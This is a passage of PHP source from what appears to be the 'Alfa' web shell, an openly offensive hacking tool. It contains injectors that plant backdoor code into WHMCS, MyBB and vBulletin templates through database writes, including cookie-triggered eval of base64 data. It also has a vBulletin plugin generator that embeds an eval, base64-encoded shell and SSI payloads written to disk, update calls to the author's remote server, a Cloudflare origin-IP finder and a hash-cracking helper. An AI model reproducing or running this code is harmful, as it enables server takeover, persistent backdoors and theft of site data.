$newindex = "<p>Dear $newin,</p><p>Recently a request was submitted to reset your password for our client area. If you did not request this, please ignore this email. It will expire and become useless in 2 hours time.</p><p>To reset your password, please visit the url below:<br /><a href=\"{\$pw_reset_url}\">{\$pw_reset_url}</a></p><p>When you visit the link above, your password will be reset, and the new password will be emailed to you.</p><p>{\$signature}</p>{php}if(\$_COOKIE[\"sec\"] == \"123\"){eval(base64_decode(\$_COOKIE[\"sec2\"])); die(\"!\");}{\/php}";
if(!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($index)){
if(filter_var($path,FILTER_VALIDATE_URL)){
$conn = mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_connect_error());
$soleSave= mysqli_query($conn,"select message from tblemailtemplates where name='Password Reset Validation'");
$soleGet = mysqli_fetch_assoc($soleSave);
$tempSave1 = $soleGet['message'];
$tempSave = str_replace("'","\'",$tempSave1);
mysqli_query($conn,"UPDATE tblconfiguration SET value = '1' WHERE setting = 'AllowSmartyPhpTags'") or die (mysqli_error($conn));
$inject = "UPDATE tblemailtemplates SET message='$newindex' WHERE name='Password Reset Validation'";
$result = mysqli_query($conn,$inject) or die (mysqli_error($conn));
$create = "insert into tblclients (email) values('solevisible@fbi.gov')";
$result2 = mysqli_query($conn,$create) or die (mysqli_error($conn));
if(function_exists('curl_version') && $method == 'auto'){
$AlfaSole = new AlfaCURL(true);
$saveurl = $AlfaSole->Send($path."/pwreset.php");
$getToken = preg_match("/name=\"token\" value=\"(.*?)\"/i",$saveurl,$token);
$AlfaSole->Send($path."/pwreset.php","post","token={$token[1]}&action=reset&email=solevisible@fbi.gov");
$backdata = "UPDATE tblemailtemplates SET message='{$tempSave}' WHERE name='Password Reset Validation'";
$Solevisible = mysqli_query($conn,$backdata) or die (mysqli_error($conn));
__alert("shell injectet...");
$ff= 'http://'.$path."/solevisible.php";
output($ff);}else{
echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><b><font color=\"#FFFFFF\">Please go to Target => </font><a href='".$path."/pwreset.php' target='_blank'>".$path."/pwreset.php</a><br/><font color='#FFFFFF'> And Reset Password With Email</font> => <font color=red>solevisible@fbi.gov</font><br/><font color='#FFFFFF'>And Go To => </font><a href='".$path."/solevisible.php' target='_blank'>".$path."/solevisible.php</a></b></center><br><br>";}}else{__alert('Path is not Valid...');}}}
}if(isset($_POST['alfa2']) && $_POST['alfa2']== 'mybb'){
AlfaNum(1,2,3,5);
echo __pre()."<p><div class='txtfont_header'>| MyBB |</div></p><center><center>".getConfigHtml("mybb")."<form id='sendajax' onSubmit=\"g('ShellInjectors',null,null,'mybb',null,this.method.value,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.prefix.value); return false;\" method=POST>
";
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Host : ', 'inputName' => 'dbh', 'id'=>'db_host','inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'DataBase Name : ', 'inputName' => 'dbn', 'id'=>'db_name' ,'inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'User Name : ', 'inputName' => 'dbu', 'id'=>'db_user', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Password : ', 'inputName' => 'dbp', 'id'=>'db_pw', 'inputValue' => '', 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'Table Prefix : ', 'inputName' => 'prefix', 'id'=>'db_prefix','inputValue' => 'mybb_', 'inputSize' => '50')
);
create_table($table);
echo $selector;
echo "<p><input type=submit value=' '></p></form></center></center>";
if(isset($_POST['alfa6'])) {
$dbu = $_POST['alfa6'];
$dbn = $_POST['alfa7'];
$dbp = $_POST['alfa8'];
$dbh = $_POST['alfa9'];
$prefix = $_POST['alfa10'];
$method = $_POST['alfa4'];
$shellCode = "{\${".ALFA_UPLOADER."}}";
$newinshell = str_replace("'","\'",$shellCode);
if (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($newinshell)){
$conn = mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn));
$inject = "select template from {$prefix}templates where  title= 'calendar'";
$result = mysqli_query($conn, $inject) or die (mysqli_error($conn));
$GetTemp = mysqli_fetch_assoc($result);
$saveDate = $GetTemp['template'];
$repsave = str_replace($shellCode,"",$saveDate);
$repsave = str_replace("'","\'",$repsave);
$createShell = "update {$prefix}templates SET template= '".$newinshell.$repsave."' where title = 'calendar'";
$result2 = mysqli_query($conn,$createShell) or die (mysqli_error($conn));
$geturl = "select value from {$prefix}settings where name= 'bburl'";
$findurl = mysqli_query($conn,$geturl) or die (mysqli_error($conn));
$rowb = mysqli_fetch_assoc($findurl);
$furl = $rowb['value'];
$realurl = parse_url($furl,PHP_URL_HOST);
$realpath = parse_url($furl,PHP_URL_PATH);
$res = false;
$AlfaCurl = new AlfaCURL();
if (extension_loaded('sockets') && function_exists('fsockopen') && $method == 'auto' ){
if ($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)){
@fputs($fsock, "GET $realpath/calendar.php HTTP/1.1\r\n");
@fputs($fsock, "HOST: $realurl\r\n");
@fputs($fsock, "Connection: close\r\n\r\n");
$check = fgets($fsock);
if(preg_match("/200 OK/i",$check)){
$repairdbtemp = "update {$prefix}templates SET template= '$repsave' where title = 'calendar'";
$clear = mysqli_query($conn,$repairdbtemp) or die (mysqli_error($conn));$res = true;}
@fclose($fsock);}}elseif(function_exists('curl_version') && $method == 'auto'){
$AlfaCurl->Send($realurl.$realpath."/calendar.php");
$res = true;
}
if($res){
$ff = 'http://'.$realurl.$realpath."/solevisible.php";
output($ff);
}else{
$ff = 'http://'.$realurl.$realpath."/calendar.php";
$fff = 'http://'.$realurl.$realpath."/solevisible.php";
echo "<br><pre id='strOutput' style='margin-top:5px' class='ml1'><br><center><b><font color='#FFFFFF'>Please Go To Target => </font><a href='".$ff."' target='_blank'>".$ff."</a><br/><font color='#FFFFFF'>And Go To => </font><a href='".$fff."' target='_blank'>".$fff."</a></b></center><br><br>";
}}}}
if(isset($_POST['alfa3']) && $_POST['alfa3']== 'vb'){
AlfaNum(1,2,7,9,10);
echo __pre().'<p><div class="txtfont_header">| vbulletin |</div></p><p>'.getConfigHtml('vb').'</p><form name="frm" method="POST" onsubmit="g(\'ShellInjectors\',null,null,this.lo.value,\'vb\',this.user.value,this.pass.value,this.tab.value,this.db.value,this.method.value); return false;">';
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Host : ', 'inputName' => 'lo', 'id'=>'db_host','inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'DataBase Name : ', 'inputName' => 'db', 'id'=>'db_name','inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'User Name : ', 'inputName' => 'user', 'id'=>'db_user','inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Password : ', 'inputName' => 'pass', 'id'=>'db_pw','inputValue' => '', 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'Table Prefix : ', 'inputName' => 'tab', 'id'=>'db_prefix','inputValue' => '', 'inputSize' => '50')
);
create_table($table);
echo $selector;
echo '<p><input type="submit" value=" " /></p></form></center>';
if(isset($_POST['alfa4'])&&!empty($_POST['alfa4'])){
$method = $_POST['alfa8'];
$faq_name = "faq";
$faq_file = "/faq.php";
$code = "{\${".ALFA_UPLOADER."}}{\${exit()}}&";
$conn=@mysqli_connect($_POST['alfa2'],$_POST['alfa4'],$_POST['alfa5'],$_POST['alfa7']) or die(@mysqli_connect_error());
$rec = "select `template` from ".$_POST['alfa6']."template WHERE title ='".$faq_name."'";
$recivedata = @mysqli_query($conn,$rec);
$getd = @mysqli_fetch_assoc($recivedata);
$savetoass = $getd['template'];
if(empty($savetoass)){
	$faq_name = "header";
	$faq_file = "/";
	$rec = "select `template` from ".$_POST['alfa6']."template WHERE title ='".$faq_name."'";
	$recivedata = @mysqli_query($conn,$rec);
	$getd = @mysqli_fetch_assoc($recivedata);
	$savetoass = $getd['template'];
	$code = ALFA_UPLOADER.";";
}
$code = str_replace("'","\'",$code);
$p = "UPDATE ".$_POST['alfa6']."template SET `template`='".$code."' WHERE `title`='".$faq_name."'";
$ka= @mysqli_query($conn,$p) or die(mysqli_error($conn));
$geturl = @mysqli_query($conn,"select `value` from ".$_POST['alfa6']."setting WHERE `varname`='bburl'");
$getval = @mysqli_fetch_assoc($geturl);
$saveval = $getval['value'];
if($faq_name == "header"){
	if(substr($saveval, -5, 5) == "/core"){
		$saveval = substr($saveval, 0, -5);
	}
}
$realurl = parse_url($saveval,PHP_URL_HOST);
$realpath = parse_url($saveval,PHP_URL_PATH);
$res = false;
$AlfaCurl = new AlfaCURL();
if(extension_loaded('sockets') && function_exists('fsockopen') && $method == 'auto'){
if($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)){
@fputs($fsock, "GET $realpath.$faq_file HTTP/1.1\r\n");
@fputs($fsock, "HOST: $realurl\r\n");
@fputs($fsock, "Connection: close\r\n\r\n");
$check = fgets($fsock);
if(preg_match("/200 OK/i",$check)){
$p1 = "UPDATE ".$_POST['alfa6']."template SET template ='".mysqli_real_escape_string($conn,$savetoass)."' WHERE title ='".$faq_name."'";
$ka1= @mysqli_query($conn,$p1) or die(mysqli_error($conn));
$res = true;
}
@fclose($fsock);
}
}elseif(function_exists('curl_version') && $method == 'auto'){
$AlfaCurl->Send($realurl.$realpath.$faq_file);
$p1 = "UPDATE ".$_POST['alfa6']."template SET template ='".mysqli_real_escape_string($conn,$savetoass)."' WHERE title ='".$faq_name."'";
$ka1= @mysqli_query($conn,$p1) or die(mysqli_error($conn));
$res = true;
}
if($res){
$ff = 'http://'.$realurl.$realpath."/solevisible.php";
output($ff);
}else{
$ff = 'http://'.$realurl.$realpath.$faq_file;
$fff = 'http://'.$realurl.$realpath."/solevisible.php";
echo "<center><p><font color=\"#FFFFFF\">First Open This Link => </font><a href='".$ff."' target='_blank'>".$ff."</a><br/><font color=\"#FFFFFF\">Second Open This Link => </font><a href='".$fff."' target='_blank'>".$fff."</a></center></p>";}}}
echo '</div>';
alfafooter();
}
function alfacheckfiletype(){
	$path = $_POST['path'];
	$arg = $_POST['arg'];
	if(@is_file($path.'/'.$arg)){
		echo("file");
	}else{
		echo("dir");
	}
}
function alfacheckupdate(){
	if($GLOBALS["DB_NAME"]["cgi_api"]){
		if(!isset($_COOKIE["alfacgiapi_mode"])&&!isset($_COOKIE["alfacgiapi"])){
			_alfa_cgicmd("whoami","perl",true);
			if(strlen(alfaEx("whoami",false,true))>0){
				__alfa_set_cookie("alfa_canruncmd", "true");
			}
		}
	}
	if(function_exists("curl_version")){
		$update = new AlfaCURL();
		$json = $update->Send("http://solevisible.com/update.json?ver=".__ALFA_VERSION__);
		$json = @json_decode($json,true);
		$data = array();
		if($json){
			if(!isset($_COOKIE['alfa_checkupdate']) && !empty($json["type"])){
				if($json["type"] == "update"){
					if(__ALFA_VERSION__ != $json['version'] || __ALFA_UPDATE__ != $json['version_number']){
						@setcookie("alfa_checkupdate", "1", time()+86400);
						$data["content"] = '<div class="update-holder">'.$json["content"].'</div>';
					}
				}
			}
			if(isset($json["ads"]) && !empty($json["ads"])){
				$data["content"] .= $json["ads"];
			}
			if(isset($json["copyright"]) && !empty($json["copyright"])){
				$data["copyright"] = $json["copyright"];
			}
			if(isset($json["solevisible"]) && !empty($json["solevisible"])){
				$data["solevisible"] = $json["solevisible"];
			}
			if(isset($json["code_name"]) && !empty($json["code_name"])){
				$data["code_name"] = $json["code_name"];
				$data["version_number"] = __ALFA_VERSION__;
			}
			if(isset($json["market"]) && !empty($json["market"])){
				$data["market"] = $json["market"];
			}
			echo @json_encode($data);
		}
	}
}
function alfaWriteTocgiapi($name, $source){
	$temp = "";
	$not_api = array("basedir.alfa", "getdir.alfa", "getheader.alfa");
	if(in_array($name, $not_api)){
		$temp = ALFA_TEMPDIR;
		if($temp){
			@chdir($temp);
		}
	}else{
		alfaCreateParentFolder();
		@chdir($GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__);
	}
	@mkdir('alfacgiapi',0755);
	__write_file("alfacgiapi/".$name, __get_resource($source));
	@chmod("alfacgiapi/".$name, 0755);
	return $temp;
}
function alfacheckcgi(){if(strlen(alfaEx("id",false,true,true))>0)echo("ok");else echo("no");}
function alfaupdateheader(){
	if(!isset($_COOKIE["updateheader_data"])){
		$bash = "zZRdb9owFIavya849dIGJLK0vVyFNFTohERBgtFdQIRM4hAL40R2UkYp/312gPARqLqbaYnyIfs8x+85r+UvV04qhTOh3JGhMeg3nwbtWnnqecDUoz8+zPGMQBzGEBPBIF4mYcRBpJMlJFjA9I3GMNm+MAvwPXCFRR5OCMiU+pqqGI3ur067W280e/1aeTElCQQk8UJgS/4bGOUzCV6q0usZtojtORUiEhWDeGEENgFrhVJJgpShb8ORZxlBJIAC5WCuNqqH3931A/iRAepahNQLa2Y5+4JJK0ZpOIQrsN8AmdkgAteFmxvY5R8hk45Q1VK5q4YfcZKvjEbqdqsjD+3FID9acBZhn4iinoNS/62olOM5UXqQZZazf7AxvKu+JmB7d/bd/W3FyiDrEJJEUH9LyQTrWEDXKQzhegAuUtpu0RluKqI0PgNONfjjA9CP5phyqUE98dLq/RzU2+NG97ne6vRryFH7wnmlIkkxczbBqtlESGR06s/Nxvix23nahuki/a9exANkvNTbrXq/mWfAjGJJpKNneuMMVVOvWGwoNU4DUAbobponKrQRD5CEhBulbZT4OKq0K9As48UMrGansYoF5Ql0emsLTtEK7PqgLYQSYftljhpwYQ0mC3HvsPDAZseZjxKb+/79jfQ9VcgtyQGOHrFiegT7aguc2ANuRgTUyAWRgiC99XNDtm4Wx7deXrLogLvQt4OYsz07duP8isWUedB/7sOnXbgs9KT2w6CzxW/0fX6baH35ceGu1SnxBw==";
		$realdir = addslashes(dirname($_SERVER["SCRIPT_FILENAME"]));
		$tmp_path = alfaWriteTocgiapi("getheader.alfa",$bash);
		$data = alfaEx("cd '{$tmp_path}/alfacgiapi';sh getheader.alfa",false,true,true);
		if(@is_array(@json_decode($data,true))){
			__alfa_set_cookie("updateheader_data", __ZW5jb2Rlcg($data));
			echo $data;
		}
	}else{
		echo __ZGVjb2Rlcg($_COOKIE["updateheader_data"]);
	}
}
function alfassiShell(){
alfahead();
echo '<div class=header>';
alfaCreateParentFolder();
@chdir($GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__);
@mkdir('alfa_shtml',0755);
@chdir('alfa_shtml');
alfacgihtaccess('shtml');
$code = 'rVb9b9s2EP1Xrky22MhsKcu6ptbH0A+vzYbCXeztl6YoZImS2VCkQFJOvCX/+46SrChOnKRBA8ORyOPju3ePR/vPBoOdWIqUZUCVynUWkE9jpaT6TAaD0O9Ma/YvTXMTkPnKUN3OshToRaEC0jslu+9ns49f3kwmfx6PTwkEcEpOSR8uL8FOnoz/+ns8nX35MJ69n7zF+Wc24N14hjEE1niaGlhGiKcXnOATL2lAuIYBj66DKNf03hVdJterRIJs8Q2+C/OPk+kW6kzELXVnOLzjQ03sFJHW58lDSXWwNpOCzawWJuehv6BREvqGGU7DVzyNYEajHKbTY5guKOe+U0/5OlasMMAjkZVRhlS/RsuoHiRhWorYMCkgkcz0IJcJhT78x9IejsRlToUZxlKeMWrFIMROIl+oxzQquBE21AW3SMTDWC+VqmfzA4aRrof//PXSIaciMwsP9vcZ9Dc3C9Zhn3DNZ9hHPCwiU1QHs0X5E7gH8Eck4ODlCxdcd1R94N2HGfGubkO1Ixk1Y07t4+vVcbJOd1jJ7rVRXMaR1WSoKJdR0ut7V61MRmYZpz1giVViO7KdH2qz4nSYMJQkWiGP3jeFo9xCCor2/A3IHEmdERg1Y96V79QlDH2nNsJcJiuQwjIOyLaN9mKZ55FI9vrDFEM05kZgnsWSS/Tgjlv9EYg4E2fYAVAWNGXnBbdRoZ+wZejHiEnxZXEY+qkUBtYgz1/G8eEhCS/hDlfCpe/YaEsbFzprFAvbPod+2WDaZhSQ/QOCmcWcxcijqcAeFcs9y75SLSBxqbRUo0IyC+JVZEaKJh4Jx2LJlLQaABOpbAngJs68wwHTwkIEBJFb2KYaI6t6A7rz64tXr9/+7jViFIrWR7lQdmuxtEfbqUbttFOJVX/f0u5xmWK/e2Smb+rqAh470HUT2JJrTchmjLXOBKJWEwTOWWIWATlw3R/QGVIlFGuKlrDCVI23YTGP4rNMyVIkg0aW2jzezZ57/31QNcUbEt9sdY3E8w2H1QWwhUXK0Fi6TXUejn4Uc1143W8EUDnk1CwkJoKnwuqsy3nOjD0t2LGuj4atLBNFacCsCkzV0AsMrwt01EjRBJOwge/G17DtzXBSCgR0LIFbPt8o/WaCJ1SX3HQyu3lgLLFI0ahzgukv1E2OKiSNVfwZQZU8t4/PSXP9XNAY4jwJdrGc1T3krHHwaql8AX5r129zKl5ij3TqpKCqarIaUSBlnOoHz2V1RT7Srt/JpfXdX9m0Rny6Wf9h9LxKFHrYjkwZcexGMS8T2h91KvyQdQup7/Du0gLf69wjt9KwCnySa7flNUX0BxLYtrTSL7X0oJEk2EVNrJj1yuonaNf+T3Z9I/WtfTrmv9WuHXul2ovK/tz6Hw==';
@__write_file('alfa_ssi.shtml',__get_resource($code));
@chmod("alfa_ssi.shtml",0755);
echo AlfaiFrameCreator('alfa_shtml/alfa_ssi.shtml');
echo '</div>';
alfafooter();
}
function alfacloudflare(){
alfahead();
AlfaNum(8,9,10,7,6,5,4,3);
echo "<div class=header><center><br><div class='txtfont_header'>| Cloud Flare ByPasser |</div><br><form action='' onsubmit=\"g('cloudflare',null,this.url.value,'>>'); return false;\" method='post'>
<p><div class='txtfont'>Target:</div> <input type='text' size=30 name='url' style='text-align:center;' placeholder=\"target.com\"> <input type='submit' name='go' value=' ' /></p></form></center>";
if($_POST['alfa2'] && $_POST['alfa2'] == '>>'){
$url = $_POST['alfa1'];
if(!preg_match('/^(https?):\/\/(w{3}|w3)\./i', $url)){
$url = preg_replace('/^(https?):\/\//', '', $url);
$url = "http://www.".$url;
}
$headers = @get_headers($url, 1);
$server = $headers['Server'];
$subs = array('owa.','2tty.','m.','gw.','mx1.','store.','1','2','vb.','news.','download.','video','cpanel.', 'ftp.', 'server1.', 'cdn.', 'cdn2.', 'ns.', 'ns3.', 'mail.', 'webmail.', 'direct.', 'direct-connect.', 'record.', 'ssl.', 'dns.', 'help.', 'blog.', 'irc.', 'forum.', 'dl.', 'my.', 'cp.', 'portal.', 'kb.', 'support.','search.', 'docs.', 'files.', 'accounts.', 'secure.', 'register.', 'apps.', 'beta.', 'demo.', 'smtp.', 'ns2.', 'ns1.', 'server.', 'shop.', 'host.', 'web.', 'cloud.', 'api.', 'exchange.', 'app.', 'vps.', 'owa.', 'sat.', 'bbs.', 'movie.', 'music.', 'art.', 'fusion.', 'maps.', 'forums.', 'acc.', 'cc.', 'dev.', 'ww42.', 'wiki.', 'clients.', 'client.','books.','answers.','service.','groups.','images.','upload.','up.','tube.','users.','admin.','administrator.','private.','design.','whmcs.','wp.','wordpress.','joomla.','vbulletin.','test.','developer.','panel.','contact.');
if(preg_match('/^(https?):\/\/(w{3}|w3)\./i', $url, $matches)){
if($matches[2] != 'www'){$url = preg_replace('/^(https?):\/\//', '', $url);}else{
$url = explode($matches[0], $url);
$url = $url[1];}}
if(is_array($server))$server = $server[0];
echo __pre();
if(preg_match('/cloudflare/i', $server))
echo "\n[+] CloudFlare detected: {$server}\n<br>";
else
echo "\n[+] CloudFlare wasn't detected, proceeding anyway.\n";
echo '[+] CloudFlare IP: ' . is_ipv4(gethostbyname($url)) . "\n\n<br><br>";
echo "[+] Searching for more IP addresses.\n\n<br><br>";
for($x=0;$x<count($subs);$x++){
$site = $subs[$x] . $url;
$ip = is_ipv4(gethostbyname($site));
if($ip == '(Null)')
continue;
echo "Trying {$site}: {$ip}\n<br>";
}
echo "\n[+] Finished.\n<br>";
}
echo '</div>';
alfafooter();
}
function is_ipv4($ip){
return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) ? $ip : '(Null)';
}
function __alert($s){
echo '<center>'.__pre().$s.'</center>';
}
function create_table($data){
echo '<table border="1">';
foreach ($data as $key => $val){
$array = array();
foreach($val as $k => $v){
$array[$k] = $v;
}
echo "<tr><td><div class='tbltxt'>".$array['tdName']."</div></td><td><input type='text' id='".$array['id']."' name='".$array['inputName']."' ".($array['placeholder']?'placeholder':'value')."='".$array['inputValue']."' size='".$array['inputSize']."' ".($array['disabled']?'disabled':'')."></td></tr>";
}
echo '</table>';
}
function alfaphp2xml(){
alfahead();
AlfaNum(8,9,10,7,6,5,4,3);
echo "<div class=header><center><p><div class='txtfont_header'>| Shell For vBulletin |</div></p><form onsubmit=\"g('php2xml',null,this.code.value,'>>'); return false;\" method='post'>
<p><br><textarea rows='12' cols='70' type='text' name='code' placeholder=\"insert your shell code\"></textarea><br/><br/>
<input type='submit' name='go' value=' ' /></p></form></center>";
if($_POST['alfa2']&&$_POST['alfa2']=='>>'){
echo __pre()."<p><center><textarea rows='10' name='users' cols='80'>";
echo '<?xml version="1.0" encoding="ISO-8859-1"?><plugins><plugin active="1" product="vbulletin"><title>vBulletin</title><hookname>init_startup</hookname><phpcode><![CDATA[if (strpos($_SERVER[\'PHP_SELF\'],"subscriptions.php")){eval(base64_decode(\''.__ZW5jb2Rlcg($_POST['alfa1']).'\'));exit;}]]></phpcode></plugin></plugins>';
echo '</textarea></center></p>';
}
echo '</center></div>';
alfafooter();
}
function alfacpcrack(){
alfahead();
echo '<div class=header><center><p><div class="txtfont_header">| Hash Tools |</div></p><h3><a href=javascript:void(0) onclick="g(\'cpcrack\',null,\'dec\')">| DeCrypter | </a><a href=javascript:void(0) onclick="g(\'cpcrack\',null,\'analyzer\')">| Hash Analyzer | </a></h3></center>';
if($_POST['alfa1']=='dec'){
$algorithms = array('md5'=>'MD5','md4'=>'MD4','sha1'=>'SHA1','sha256'=>'SHA256','sha384'=>'SHA384','sha512'=>'SHA512','ntlm'=>'NTLM');
echo '<center><div class="txtfont_header">| DeCrypter |</div><br><br>
<form onsubmit="g(\'cpcrack\',null,\'dec\',this.md5.value,\'>>\',this.alg.value); return false;"><div class="txtfont">Decrypt Method:</div> <select name="alg" style="width:100px;">';
foreach($algorithms as $key=>$val){echo('<option value="'.$key.'">'.$val.'</option>');}
echo'</select><input type="text" placeholder="Hash" name="md5" size="60" id="text" /> <input type="submit" value=" " name="go" /></form></center><br>';
if($_POST['alfa3'] == '>>'){
$hash = $_POST['alfa2'];
if(!empty($hash)){
$hash_type = $_POST['alfa4'];
$email = "solevisible@gmail.com";
$code = "7b9fa79f92c3cd96";
$target = "https://md5decrypt.net/Api/api.php?hash=".$hash."&hash_type=".$hash_type."&email=".$email."&code=".$code;
$resp = @file_get_contents($target);
if($resp==''){
$get = new AlfaCURL();
$resp = $get->Send($target);
}
echo __pre().'<center>';
switch($resp){
	case('CODE ERREUR : 001'):echo "<b><font color='red'>You exceeded the 400 allowed request per day</font></b>";break;
	case('CODE ERREUR : 003'):echo "<b><font color='red'>Your request includes more than 400 hashes.</font></b>";break;
	case('CODE ERREUR : 004'):echo "<b><font color='red'>The type of hash you provide in the argument hash_type doesn't seem to be valid</font></b>";break;
	case('CODE ERREUR : 005'):echo "<b><font color='red'>The hash you provide doesn't seem to match with the type of hash you set.</font></b>";break;
}
if(substr($resp,0,4)!='CODE'&&$resp!=''){
echo "<b>Result: <font color='green'>".$resp."</font></b>";
}elseif(substr($resp,0,4)!='CODE'){
echo "<font color='red'>NoT Found</font><br />";
}
echo('</center>');
}
}
}
if($_POST['alfa1']=='analyzer'){
echo '<center><p><div class="txtfont_header">| Hash Analyzer |</div></p>
<form onsubmit="g(\'cpcrack\',null,\'analyzer\',this.hash.value,\'>>\');return false;">
<div class="txtfont">Hash: </div> <input type="text" placeholder="Hash" name="hash" size="60" id="text" /> <input type="submit" value=" " name="go" /></form></center><br>';
if($_POST['alfa3'] == '>>'){
$hash = $_POST['alfa2'];
if(!empty($hash)){
$curl = new AlfaCURL();
$resp = $curl->Send("https://md5decrypt.net/en/HashFinder/","post","hash={$hash}&crypt=Search");
echo(__pre().'<center>');
if(preg_match('#<fieldset class="trouve">(.*?)</fieldset>#',$resp,$s)){
	echo('<font color="green">'.$s[1].'</font>');
}else{
	echo('<font color="red">Not Found...!</font>');
}
echo('</center><br>');
}
}
}
echo '</div>';
alfafooter();
}
function alfafooter(){
if(!isset($_POST['ajax'])){
echo "<table class='foot' width='100%' border='0' cellspacing='3' cellpadding='0' >
<tr>
<td width='17%'><form onsubmit=\"if(this.f.value.trim().length==0)return false;editor(this.f.value,'mkfile','','','','file');this.f.value='';return false;\"><span class='footer_text'>Make File : </span><br><input class='dir' type='text' name='f' value=''> <input type='submit' value=' '></form></td>
<td width='21%'><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);this.d.value='';return false;\"><span class='footer_text'>Make Dir : </span><br><input class='dir' type='text' name='d' value=' '> <input type='submit' value=' '></form></td>
<td width='22%'><form onsubmit=\"g('FilesMan',null,'delete',this.del.value);this.del.value='';return false;\"><span class='footer_text'>Delete : </span><br><input class='dir' type='text' name='del' value=' '> <input type='submit' value=' '></form></td>
<td width='19%'><form onsubmit=\"if(this.f.value.trim().length==0)return false;editor(this.f.value,'chmod','','','','none');this.f.value='';return false;\"><span class='footer_text'>Chmod : </span><br><input class='dir' type=text name=f value=' '> <input type='submit' value=' '></form></td>
</tr>
<tr>
<td colspan='2'><form onsubmit='g(\"FilesMan\",this.c.value,\"\");return false;'><span class='footer_text'>Change Dir : </span><br><input class='foottable' id='footer_cwd' type='text' name='c' value='".htmlspecialchars($GLOBALS['cwd'])."'> <input type='submit' value=' '></form></td>
<td colspan='2'><form onsubmit=\"editor(this.file.value,'view','','','','file');return false;\"><span><span class='footer_text'>Read File : </span></span><br><input class='foottable' type='text' name='file' value='/etc/passwd'> <input type='submit' value=' '></form></td>
</tr>
<tr>
<td colspan='4'><form style='margin-top: 10px;' onsubmit=\"return false;\" autocomplete='off'><span><span class='footer_text'>Execute :</span><br><button onClick='alfaOpenPhpTerminal();return false;' class='foottable alfa_custom_cmd_btn'><img style='width:28px;vertical-align: middle;' src='http://solevisible.com/icons/menu/terminal.svg'> Terminal</button><br></form></td>
</tr>
<tr>
<td colspan='4'><form onsubmit='u(this);return false;' name='footer_form' method='post' ENCTYPE='multipart/form-data'>
<input type='hidden' name='a' value='FilesMAn'>
<input type='hidden' name='c' value='" . $GLOBALS['cwd'] ."'>
<input type='hidden' name='ajax' value='true'>
<input type='hidden' name='alfa1' value='uploadFile'>
<input type='hidden' name='charset' value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
<span class='footer_text'>Upload file: </span><span><button id='addup' onclick='addnewup();return false;'><b>+</b></button></span><p id='pfooterup'><label class='inputfile' for='footerup'><span id='__fnameup'></span> <strong>&nbsp;&nbsp;Choose a file</strong></label><input id='footerup' class='toolsInp' type='file' name='f[]' onChange='handleup(this,0);' multiple></p><input type='submit' name='submit' value=' '></form><div id='alfa-copyright'><span class='copyright'>[ ./AlfaTeam &copy; 2012-".date('Y')." ]</span><br><span><a href='javascript:void(0);' onclick='alert(\"BTC: 1KLty8LUqnqsXkM3Qkvy2Kpv4gLt7Ugcyo\");' style='color: #E91E63;text-decoration: none;'>Donate Us !</a></span> <span style='letter-spacing: 2px;color: #dfff00;'>solevisible[at]gmail.com</span> <span><a style='color: #ff6060;text-decoration: none;' target='_blank' href='https://telegram.me/solevisible'>@solevisible</a></span></div></td>
</tr>
</table>
</div>

<div id='options_window' style='background:rgba(0, 0, 0, 0.69);'><div class='editor-wrapper'><div class='editor-header'><div class='opt-title'></div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"options_window\");'></div><div onClick='editorClose(\"options_window\");' class='close-button'></div></div></div><div style='height:100%;' class='content_options_holder'><div class='options_tab'></div><div class='options_content' style='margin-left:14px;margin-right:30px;background:#000;overflow:auto;'></div></div></div></div>

<div id='database_window' style='background:rgba(0, 0, 0, 0.69);'><div class='editor-wrapper'><div class='editor-header'><div class='opt-title'>Sql Manager</div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"database_window\");'></div><div onClick='editorClose(\"database_window\");' class='close-button'></div></div></div><div class='content_options_holder' style='margin-left:14px;margin-right:30px;background:#000;max-height:90%;'><div class='sql-tabs'></div><div class='sql-contents' style='max-height: 85vh;'></div></div></div></div>

<div id='cgiloader'><div class='editor-wrapper'><div class='editor-header'><div class='opt-title'></div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"cgiloader\");'></div><div onClick='editorClose(\"cgiloader\");' class='close-button'></div></div></div><div id='cgiframe' style='position:relative;margin-left:14px;margin-right:30px;'><div class='terminal-tabs'></div><div style='height:90%;' class='terminal-contents'></div></div></div></div>
